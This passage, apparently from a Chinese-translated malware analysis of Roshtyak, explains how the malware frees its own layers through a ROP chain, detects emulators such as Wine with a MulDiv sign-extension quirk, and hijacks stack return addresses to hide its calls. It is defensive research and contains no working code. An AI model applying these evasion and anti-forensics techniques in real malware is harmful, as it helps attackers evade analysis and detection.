7.png

共享段中shellcode 的開始。可能很難確定確切的起始地址,因為它通常是從奇數bt指令開始的。

Ret2Kernel32Roshtyak特別注意清理自己的攻擊痕跡。每當不再需要某個字符串或某段內存時,Roshtyak 就會清除或釋放它,以試圖清除盡可能多的證據。 Roshtyak 的圖層也是如此。每當一層完成其工作時,它就會在將執行傳遞到下一層之前進行自我釋放。但是,該層不能簡單直接地自我釋放。如果它在當前正在執行的內存區域上調用VirtualFree,整個進程將會崩潰。

因此,Roshtyak 通過在層轉換期間執行的ROP 鏈來釋放層以避免此問題。當一個層即將退出時,它會在堆棧上構造一個ROP 鏈並返回其中。下面可以看到這樣一個ROP 鏈的示例。該鏈首先返回VirtualFree 和UnmapViewOfFile 以釋放上一層的內存。然後,它返回到下一層。下一層的返回地址設置為RtlExitUserThread,以保障執行安全。

8.png

一個簡單的ROP 鏈,由VirtualFree - UnmapViewOfFile - next layer - RtlExitUserThread 組成。

MulDiv漏洞MulDiv是一個由kernel32.dll導出的函數,它接受三個32位有符號整數作為參數。它將前兩個參數相乘,將乘法結果除以第三個參數,並返回最後的結果四捨五入到最接近的整數。雖然這可能看起來是一個足夠簡單的函數,但在微軟的實現中有一個古老的符號擴展漏洞。這個漏洞現在被認為是一個功能,可能永遠不會被修復。

Roshtyak 知道該漏洞並通過調用MulDiv(1,0x80000000,0x80000000) 來測試它的存在。在真實的Windows 設備上,這會觸發漏洞並且MulDiv 漏洞地返回2,即使正確的返回值應該是1,因為(1 * -2147483648)/-2147483648=1。這允許Roshtyak 檢測不復制漏洞的模擬器.例如,這成功檢測到Wine,有趣的是,它包含一個不同的漏洞,這使得上述調用返回0。

篡改存儲在堆棧中的返回地址還有一些用來混淆函數調用的技巧。如上一節所示,Roshtyak喜歡使用ret指令調用函數。下一個技巧與此類似,因為它也操作堆棧,因此可以使用ret 指令跳轉到所需的地址。

為了實現這一點,Roshtyak 掃描當前線程的堆棧,尋找指向前一層代碼段的指針,與其他層不同,這一層沒有使用ROP 鏈技巧釋放。它用它想要調用的地址替換所有這些指針。然後它讓代碼多次返回,直到ret 指令遇到一個被劫持的指針,將執行重定向到所需的地址。